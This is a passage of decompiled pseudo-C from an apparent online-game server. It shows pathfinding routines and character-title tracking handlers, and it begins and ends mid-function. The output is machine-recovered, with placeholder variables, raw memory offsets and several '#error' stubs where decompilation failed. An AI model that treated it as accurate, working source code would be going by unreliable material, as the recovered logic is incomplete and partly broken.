= Navigator::PathFindBuffer::operator__(&v23->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v7, v8)); if ( !v9 ) break; if ( v9->fpc_From.up_X == v8 && v9->fpc_From.up_Y == v7 ) goto LABEL_13; v8 = v9->fpc_From.up_X; v7 = v9->fpc_From.up_Y; goal.up_X = v9->fpc_From.up_X; goal.up_Y = v7; if ( dword_CBCCFA4 && (*(_DWORD *)&Where - (signed int)dword_CBCCFA4) >> 3 < (unsigned int)((unk_CBCCFAC - (signed int)dword_CBCCFA4) >> 3) ) { v10 = Where; std::_Uninit_fill_n>( *(KQContribute::PlayerContribute **)&Where, 1u, (KQContribute::PlayerContribute *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); v11 = *(_DWORD *)&v10 + 8; Where = (std::vector >::iterator)(*(_DWORD *)&v10 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, Where, 1u, &goal); v11 = (int)Where; } ++v6; if ( v6 >= maxdepth ) goto LABEL_14; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = -1; } return result; } //----- (005495E0) -------------------------------------------------------- void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this) { Navigator::PathAnalyzer *v1; // esi@1 std::vector > *v2; // ecx@1 int v3; // eax@1 int blockstart; // [sp+10h] [bp-24h]@1 int v5; // [sp+14h] [bp-20h]@2 Navigator::NaviPoint blockgoal; // [sp+1Ch] [bp-18h]@3 int v7; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathAnalyzer::pa_Analyze"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (std::vector > *)v1->pa_PointList.pas_Vector; v7 = 0; std::vector>::push_back(v2, &v1->pa_Start); Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, (Navigator::NaviPoint *)&blockstart, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY, v1->pa_Goal.np_RealX, v1->pa_Goal.np_RealY); v3 = v1->pa_Goal.np_RealX; if ( blockstart != v3 || v5 != v1->pa_Goal.np_RealY ) { Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, &blockgoal, v3, v1->pa_Goal.np_RealY, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, (Navigator::NaviPoint *)&blockstart); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &blockgoal); } std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &v1->pa_Goal); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); } //----- (005496F0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer) { Navigator::MapNavigator *v7; // esi@1 signed int v8; // edi@1 int v9; // ebp@1 _BYTE v10[12]; // ST0C_12@4 Navigator::PathFindCell *v11; // eax@4 int v12; // edx@5 Navigator::PathFindCell *v13; // eax@5 int v14; // ebx@5 int v15; // edi@5 int v16; // eax@9 int result; // eax@14 int v18; // eax@15 int v19; // esi@15 int goal; // [sp+14h] [bp-2Ch]@1 int yB; // [sp+18h] [bp-28h]@1 unsigned int start; // [sp+1Ch] [bp-24h]@1 unsigned int v23; // [sp+20h] [bp-20h]@1 char v24; // [sp+24h] [bp-1Ch]@1 Navigator::VirtualMap *pfarg; // [sp+28h] [bp-18h]@5 Navigator::PathFindBuffer *v26; // [sp+2Ch] [bp-14h]@5 int v27; // [sp+30h] [bp-10h]@5 int v28; // [sp+3Ch] [bp-4h]@1 int startxa; // [sp+48h] [bp+8h]@2 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_Search"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = v7->mn_StepSize; start = startx; v23 = starty; v28 = 0; v24 = 0; v9 = (signed int)(goalx - startx) / v8; goal = (signed int)(goalx - startx) / v8; yB = (signed int)(goaly - starty) / v8; if ( !Navigator::PathFindBuffer::operator__( &v7->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__((signed int)(goaly - starty) / v8, v9)) ) goto LABEL_14; startxa = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, yB) + 30; if ( startxa < 30 ) startxa = 30; v7->mn_EmptyFlag = (v7->mn_EmptyFlag + 1) & 0x7FFFFFFF; *(_DWORD *)v10 = 0; *(_QWORD *)&v10[4] = 0i64; std::vector>::resize( &waitlist, 0, *(Navigator::UnitPointWithDistance *)v10); v11 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64); if ( v11 && (v11->fpc_From.up_X = 0, v11->fpc_From.up_Y = 0, v11->fpc_Step = 0, v11->fpc_Distance = 0, v11->pfc_EmptyFlag = v7->mn_EmptyFlag, v12 = v7->mn_EmptyFlag, pfarg = vm, v27 = v12, v26 = &v7->mn_CellBuffer, starty = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, yB), v13 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64), v13->fpc_Distance = starty, v14 = startxa, v15 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, (Navigator::PathFindArgument *)&pfarg, 0, 0, (Navigator::UnitPoint *)&goal, v7->mn_StepSize, (Navigator::NaviPoint *)&start), v15 <= startxa) && Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) { while ( v9 != goalx || yB != starty ) { v16 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, (Navigator::PathFindArgument *)&pfarg, goalx, starty, (Navigator::UnitPoint *)&goal, v7->mn_StepSize, (Navigator::NaviPoint *)&start); if ( v16 > v15 ) { if ( v16 > v14 ) goto LABEL_14; if ( v14 > v16 + 30 ) v14 = v16 + 30; } v15 = v16; if ( !Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) goto LABEL_14; } v18 = Navigator::MapNavigator::nm_MakePath( v7, vm, (Navigator::UnitPoint)__PAIR__(yB, v9), (Navigator::NaviPoint *)&start, 1000, pathbuffer); --funcallanalizer.fca_stackpoint; v19 = v18; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = v19; } else { LABEL_14: --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = -1; } return result; } //----- (00549970) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector) { Navigator::MapNavigator *v7; // ebp@1 unsigned int v8; // esi@1 unsigned int v9; // edi@1 _BYTE v10[12]; // ST0C_12@6 Navigator::NaviPoint *v11; // ecx@6 unsigned int v12; // eax@7 StaticVector *v14; // ebp@10 int v15; // eax@14 int v16; // esi@16 int v17; // edi@16 Navigator::NaviPoint *v18; // eax@17 int v19; // ecx@17 Navigator::NaviPoint *v20; // ecx@25 int v21; // eax@25 Navigator::NaviPoint *v22; // eax@26 int v23; // esi@27 signed int v24; // edx@28 Navigator::MapNavigator *thisa; // [sp+10h] [bp-4Ch]@1 unsigned int orgstartx; // [sp+14h] [bp-48h]@1 unsigned int orgstarty; // [sp+18h] [bp-44h]@1 int v28; // [sp+28h] [bp-34h]@0 StaticVector *pa; // [sp+2Ch] [bp-30h]@6 Navigator::VirtualMap *v30; // [sp+30h] [bp-2Ch]@6 unsigned int v31; // [sp+34h] [bp-28h]@6 unsigned int v32; // [sp+38h] [bp-24h]@6 char v33; // [sp+3Ch] [bp-20h]@6 unsigned int v34; // [sp+40h] [bp-1Ch]@6 unsigned int v35; // [sp+44h] [bp-18h]@6 char v36; // [sp+48h] [bp-14h]@6 Navigator::VirtualMap *v37; // [sp+4Ch] [bp-10h]@6 int v38; // [sp+58h] [bp-4h]@1 v7 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_PathFind"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = starty; v9 = startx; v38 = 0; orgstartx = startx; orgstarty = starty; if ( Navigator::VirtualMap::vm_IsBlocked(vm, startx, starty) ) { if ( !Navigator::MapNavigator::mn_ExitFromBlock(v7, vm, &startx, &starty) ) { LABEL_30: --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return -1; } v8 = starty; v9 = startx; } if ( !(_S4_26 & 1) ) { _S4_26 |= 1u; StaticVector::StaticVector(&pointlist, 1024); atexit(_E5_80); LOBYTE(v38) = 0; } *(_QWORD *)v10 = 0i64; LOBYTE(v28) = 0; *(_DWORD *)&v10[8] = v28; std::vector>::resize( &pointlist.baseclass_0, 0, *(Navigator::NaviPoint *)v10); v34 = goalx; pa = &pointlist; v30 = vm; v31 = v9; v32 = v8; v33 = 0; v35 = goaly; v36 = 0; v37 = vm; Navigator::PathAnalyzer::pa_Analyze((Navigator::PathAnalyzer *)&pa); v11 = pointlist.baseclass_0._Myfirst; if ( !pointlist.baseclass_0._Myfirst ) goto LABEL_30; v12 = pointlist.baseclass_0._Mylast - pointlist.baseclass_0._Myfirst; if ( v12 == 2 ) { std::vector>::operator_(pathfindvector, (int)&pointlist); --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return 2; } if ( v12 != 4 ) goto LABEL_30; v14 = pathfindvector; if ( pointlist.baseclass_0._Myfirst->np_RealX != pointlist.baseclass_0._Myfirst[1].np_RealX || pointlist.baseclass_0._Myfirst->np_RealY != pointlist.baseclass_0._Myfirst[1].np_RealY ) { std::vector>::push_back( &pathfindvector->baseclass_0, pointlist.baseclass_0._Myfirst); v11 = pointlist.baseclass_0._Myfirst; } if ( Navigator::MapNavigator::mn_Search( thisa, vm, v11[2].np_RealX, v11[2].np_RealY, v11[1].np_RealX, v11[1].np_RealY, v14) == -1 ) goto LABEL_30; std::vector>::push_back( &v14->baseclass_0, pointlist.baseclass_0._Myfirst + 3); v15 = (int)v14->baseclass_0._Myfirst; if ( v15 ) v15 = (signed int)((char *)v14->baseclass_0._Mylast - v15) / 12; v16 = v15 - 1; v17 = 1; starty = v15 - 1; if ( v15 - 2 > 1 ) { do { v18 = v14->baseclass_0._Myfirst; v16 = (v17 + v16) / 2; v19 = v16; if ( v18[v17].np_RealX != v18[v16].np_RealX || v18[v17].np_RealY != v18[v19].np_RealY ) { if ( Navigator::VirtualMap::vm_IsStreight( vm, v18->np_RealX, v18->np_RealY, v18[v19].np_RealX, v18[v19].np_RealY) ) { v17 = v16; v16 = starty; } else { starty = v16; } } else { v17 = v16; v16 = starty; } } while ( v17 < v16 - 1 ); } v14->baseclass_0._Myfirst->np_RealX = orgstartx; v14->baseclass_0._Myfirst->np_RealY = orgstarty; if ( v17 > 1 ) { v20 = v14->baseclass_0._Myfirst; v21 = (int)&v20[v17]; ++v20; v20->np_RealX = *(_DWORD *)v21; v20->np_RealY = *(_DWORD *)(v21 + 4); *(_DWORD *)&v20->np_IsDeleted = *(_DWORD *)(v21 + 8); } v22 = v14->baseclass_0._Myfirst; if ( v22 ) { v24 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v14->baseclass_0._Mylast - (char *)v22)) >> 32) >> 1; v23 = v24 + ((unsigned int)v24 >> 31); } else { v23 = 0; } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return v23; } //----- (00549CE0) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { return DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); } //----- (00549D10) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y) { int *v3; // esi@1 unsigned __int8 v4; // al@1 int v5; // esi@1 v3 = (int *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsBlocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_IsBlock( *v3, x, y, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); return v5; } //----- (00549DC0) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { Navigator::VirtualMap *v5; // ebx@1 int result; // eax@2 signed int v7; // kr00_4@3 int v8; // edi@3 int v9; // esi@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsStreight"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (xA - xB) * (xA - xB) + (yA - yB) * (yA - yB) >= 25 ) { v7 = xB + xA; v8 = (yA + yB) / 2; if ( Navigator::VirtualMap::vm_IsBlocked(v5, (xB + xA) / 2, (yA + yB) / 2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 0; } else { v9 = Navigator::VirtualMap::vm_IsStreight(v5, xA, yA, v7 / 2, v8) && Navigator::VirtualMap::vm_IsStreight(v5, v7 / 2, v8, xB, yB); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = v9; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 1; } return result; } //----- (00549F40) -------------------------------------------------------- Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB) { void **v6; // esi@1 signed int v7; // eax@1 signed int v8; // eax@1 int v9; // eax@2 unsigned int v11; // [sp-8h] [bp-44h]@4 unsigned int v12; // [sp-4h] [bp-40h]@4 int goal; // [sp+18h] [bp-24h]@1 int v14; // [sp+1Ch] [bp-20h]@1 int start; // [sp+20h] [bp-1Ch]@1 int v16; // [sp+24h] [bp-18h]@1 unsigned int block; // [sp+28h] [bp-14h]@1 unsigned int y; // [sp+2Ch] [bp-10h]@5 int v19; // [sp+38h] [bp-4h]@1 v6 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_FindBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = yA; start = xA; v19 = 1; goal = xB; v14 = yB; v7 = DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); v8 = FieldMap::fm_FindBlockLocation( *v6, (int)&start, v7, (int)&goal, (int)&block, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock); if ( !v8 ) goto LABEL_6; v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) { v12 = v14; v11 = goal; LABEL_7: Navigator::NaviPoint::NaviPoint(result, v11, v12); goto LABEL_8; } LABEL_6: v12 = v14; v11 = goal; goto LABEL_7; } Navigator::NaviPoint::NaviPoint(result, block, y); LABEL_8: --funcallanalizer.fca_stackpoint; LOBYTE(v19) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); return result; } //----- (0054A070) -------------------------------------------------------- #error "54A070: undefined or illegal type '#331' (funcsize=15)" //----- (0054A0B0) -------------------------------------------------------- #error "54A0B0: undefined or illegal type '#331' (funcsize=3)" //----- (0054A0C0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect) { CCharacterTitleZone *v2; // esi@1 int v3; // eax@3 v2 = this; CCharacterTitle::Clear(&this->baseclass_0); memset(v2->m_TitleValues, 0, sizeof(v2->m_TitleValues)); if ( bFirstConnect ) { LODWORD(v2->m_TitleValues[3]) = 0; HIDWORD(v2->m_TitleValues[3]) = 0; LODWORD(v2->m_TitleValues[41]) = 0; HIDWORD(v2->m_TitleValues[41]) = 0; } v2->m_MoneyGiveTimeValue = mysecond(0); v2->m_MoneyGivenToRegNum = -1; v2->m_MoneyBegTimeValue = mysecond(0); v2->m_MoneyBegnFromRegNum = -1; v2->m_KilledByMobHandle = -1; v2->m_KilledByMobTimeValue = mysecond(0); v2->m_PartyJoinPartyNo = -1; v3 = mysecond(0); v2->m_BoothSellCharNo = -1; v2->m_AuctionSellCharNo = -1; v2->m_nUpgradeItemNo.binary._bf4 = 0; v2->m_PartyJoinTimeValue = v3; *(_DWORD *)&v2->m_nUpgradeItemNo.binary.gap0[0] = 65535; v2->m_nUpgradeItemStatus = 2; } //----- (0054A180) -------------------------------------------------------- int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { CT_TITLE *v4; // eax@1 int result; // eax@3 v4 = CCharacterTitle::GetGroupTitle(&this->baseclass_0, Type); if ( v4 ) { switch ( ElementNo ) { case 0: v4->_bf0 ^= (ElementValue ^ v4->_bf0) & 3; result = 1; break; case 1: v4->_bf0 ^= (v4->_bf0 ^ 4 * ElementValue) & 0xC; result = 1; break; case 2: v4->_bf0 ^= (v4->_bf0 ^ 16 * ElementValue) & 0x30; result = 1; break; case 3: v4->_bf0 = ((_BYTE)ElementValue << 6) | v4->_bf0 & 0x3F; result = 1; break; default: goto LABEL_7; } } else { LABEL_7: result = 0; } return result; } //----- (0054A220) -------------------------------------------------------- #error "54A220: undefined or illegal type '#331' (funcsize=108)" //----- (0054A3C0) -------------------------------------------------------- #error "54A3C0: undefined or illegal type '#331' (funcsize=53)" //----- (0054A4B0) -------------------------------------------------------- #error "54A4B0: undefined or illegal type '#331' (funcsize=73)" //----- (0054A5E0) -------------------------------------------------------- #error "54A5E0: undefined or illegal type '#331' (funcsize=97)" //----- (0054A700) -------------------------------------------------------- #error "54A700: undefined or illegal type '#331' (funcsize=28)" //----- (0054A750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *this, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle) { void *v4; // ebp@1 int v5; // edx@1 WEAPON_TITLE_DATA *v6; // esi@1 int v7; // ebx@1 int v8; // edi@1 ItemTotalInformation *v9; // eax@7 int v10; // ebx@7 char v11; // cl@10 unsigned __int16 v12; // ax@10 const char *v13; // ST0C_4@13 char v14; // bl@13 char v15; // al@13 char v16; // dl@13 int v17; // eax@13 int v18; // esi@13 int v19; // edi@13 int v20; // ebp@13 char v21; // [sp-10h] [bp-40h]@4 char v22; // [sp-Ch] [bp-3Ch]@4 char v23; // [sp-Ch] [bp-3Ch]@11 unsigned __int16 v24; // [sp-8h] [bp-38h]@4 char v25; // [sp-8h] [bp-38h]@11 unsigned __int16 v26; // [sp-4h] [bp-34h]@4 CT_ELEMENT_VALUE v27; // [sp-4h] [bp-34h]@11 ITEM_INVEN WeaponInven; // [sp+10h] [bp-20h]@7 int CurrentTitle; // [sp+14h] [bp-1Ch]@10 int nNewElementNo; // [sp+18h] [bp-18h]@1 int WeaponMobLevel; // [sp+1Ch] [bp-14h]@8 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v33; // [sp+2Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v6 = netcmd; v7 = 0; v33 = 0; v8 = (*(int (__thiscall **)(void *))(v5 + 1036))(v4); LOBYTE(nNewElementNo) = v6->Prefix[0]; if ( !(_S4_27 & 1) ) { _S4_27 |= 1u; stru_13ED2E9C.cmc_AllowMode = 6; atexit(_E5_81); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_13ED2E9C.cmc_AllowMode) ) { v26 = 2563; v24 = *(_WORD *)&v6->Prefix[1]; v22 = v6->Prefix[0]; v21 = v6->Level; LABEL_15: CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK((CCharacterTitleZone *)v8, v21, v22, v24, v26); goto LABEL_16; } if ( !CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, v6->Level, v6->Prefix[0], *(_WORD *)&v6->Prefix[1]) ) goto CT_SET_CURRENT_FAIL; if ( v6->Level == 10 ) { v9 = (ItemTotalInformation *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v4 + 1876))(v4, &WeaponInven); v10 = (int)v9; if ( v9 ) { netcmd = CWeaponTitleZone::GetLevelData( &gWeaponTitle, *(_WORD *)&v6->Prefix[1], v9, (unsigned int *)&WeaponMobLevel); if ( netcmd ) { *(_WORD *)(v10 + 31) = *(_WORD *)&v6->Prefix[1]; ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v4, v10, *(_DWORD *)(v10 + 112), v10, (int)&WeaponInven); v7 = (int)netcmd->Prefix; LOBYTE(nNewElementNo) = WeaponMobLevel; goto LABEL_10; } } CT_SET_CURRENT_FAIL: v26 = 2562; v24 = *(_WORD *)&v6->Prefix[1]; v22 = v6->Prefix[0]; v21 = v6->Level; goto LABEL_15; } LABEL_10: v11 = *(_BYTE *)(v8 + 549); LOBYTE(CurrentTitle) = *(_BYTE *)(v8 + 548); v12 = *(_WORD *)(v8 + 550); LOBYTE(netcmd) = v11; if ( CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, CurrentTitle, v11, v12) ) { CCharacterTitleZone::SetTitleStatusZone((CCharacterTitleZone *)v8, CurrentTitle, (char)netcmd, ELEMENT_USABLE); v27 = 2; v25 = (char)netcmd; v23 = CurrentTitle; } else { CCharacterTitleZone::SetTitleStatusZone((CCharacterTitleZone *)v8, CurrentTitle, (char)netcmd, ELEMENT_KNOWNED); v27 = 1; v25 = (char)netcmd; v23 = CurrentTitle; } CCharacterTitleZone::SetTitleStatus((CCharacterTitleZone *)v8, v23, v25, v27); v13 = (const char *)v7; v14 = nNewElementNo; CCharacterTitle::SetCurrentTitle((CCharacterTitle *)v8, v6->Level, nNewElementNo, *(_WORD *)&v6->Prefix[1], v13); CCharacterTitle::SetTitleStatus((CCharacterTitle *)v8, v6->Level, v6->Prefix[0], ELEMENT_USE); BYTE1(netcmd) = v6->Level << 6; LOBYTE(netcmd) = 0; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); v15 = (v6->Prefix[0] << 6) | 1; LOBYTE(netcmd) = 0; BYTE1(netcmd) = v15; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); v16 = (v6->Prefix[1] << 6) | 2; LOBYTE(netcmd) = 0; BYTE1(netcmd) = v16; CCharacterTitleZone::Send_NC_CT_DB_SET_CMD((CCharacterTitleZone *)v8, (CT_INFO *)&netcmd); CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK( (CCharacterTitleZone *)v8, v6->Level, v14, *(_WORD *)&v6->Prefix[1], 0xA01u); v17 = *(_DWORD *)((char *)v4 + 78); v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v17 + 4); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 1184))( v4, *((_WORD *)v4 + 2), "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); v20 = *(_DWORD *)((char *)v4 + 78); *(_DWORD *)v20 = v18; *(_DWORD *)(v20 + 4) = v19; LABEL_16: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); } //----- (0054AA50) -------------------------------------------------------- #error "54AA50: undefined or illegal type '#331' (funcsize=537)" //----- (0054B080) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyGiveTimeValue + 30 >= v4 ) { v3->m_MoneyGiveTimeValue = v4; v3->m_MoneyGivenToRegNum = nTo; } else { if ( nTo != v3->m_MoneyGivenToRegNum ) { ++v3->m_TitleValues[6]; CCharacterTitleZone::CheckNewTitle(v3, 6); } v3->m_MoneyGivenToRegNum = nTo; v3->m_MoneyGiveTimeValue = v4; } } //----- (0054B100) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyBegTimeValue + 30 >= v4 ) { v3->m_MoneyBegTimeValue = v4; v3->m_MoneyBegnFromRegNum = nFrom; } else { if ( nFrom != v3->m_MoneyBegnFromRegNum ) { ++v3->m_TitleValues[7]; CCharacterTitleZone::CheckNewTitle(v3, 7); } v3->m_MoneyBegnFromRegNum = nFrom; v3->m_MoneyBegTimeValue = v4; } } //----- (0054B180) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; ++this->m_TitleValues[9]; CCharacterTitleZone::CheckNewTitle(this, 9); v4 = mysecond(0); if ( v3->m_KilledByMobTimeValue + 180 >= v4 ) { v3->m_KilledByMobTimeValue = v4; v3->m_KilledByMobHandle = nMobHandle; } else { if ( nMobHandle != v3->m_KilledByMobHandle ) { ++v3->m_TitleValues[8]; CCharacterTitleZone::CheckNewTitle(v3, 8); } v3->m_KilledByMobHandle = nMobHandle; v3->m_KilledByMobTimeValue = v4; } } //----- (0054B230) -------------------------------------------------------- #error "54B230: undefined or illegal type '#331' (funcsize=30)" //----- (0054B2A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember) { CCharacterTitleZone *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = mysecond(0); if ( v3->m_PartyJoinTimeValue + 60 < v4 && v3->m_PartyJoinPartyNo != nPartyNo ) { if ( nNumOfMember >= 5 ) { v3->m_PartyJoinPartyNo = nPartyNo; v3->m_PartyJoinTimeValue = v4; ++v3->m_TitleValues[16]; CCharacterTitleZone::CheckNewTitle(v3, 16); } } } //----- (0054B310) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this) { ++this->m_TitleValues[20]; CCharacterTitleZone::CheckNewTitle(this, 20); } //----- (0054B340) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this) { ++this->m_TitleValues[21]; CCharacterTitleZone::CheckNewTitle(this, 21); } //----- (0054B370) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this) { ++this->m_TitleValues[22]; CCharacterTitleZone::CheckNewTitle(this, 22); } //----- (0054B3A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER 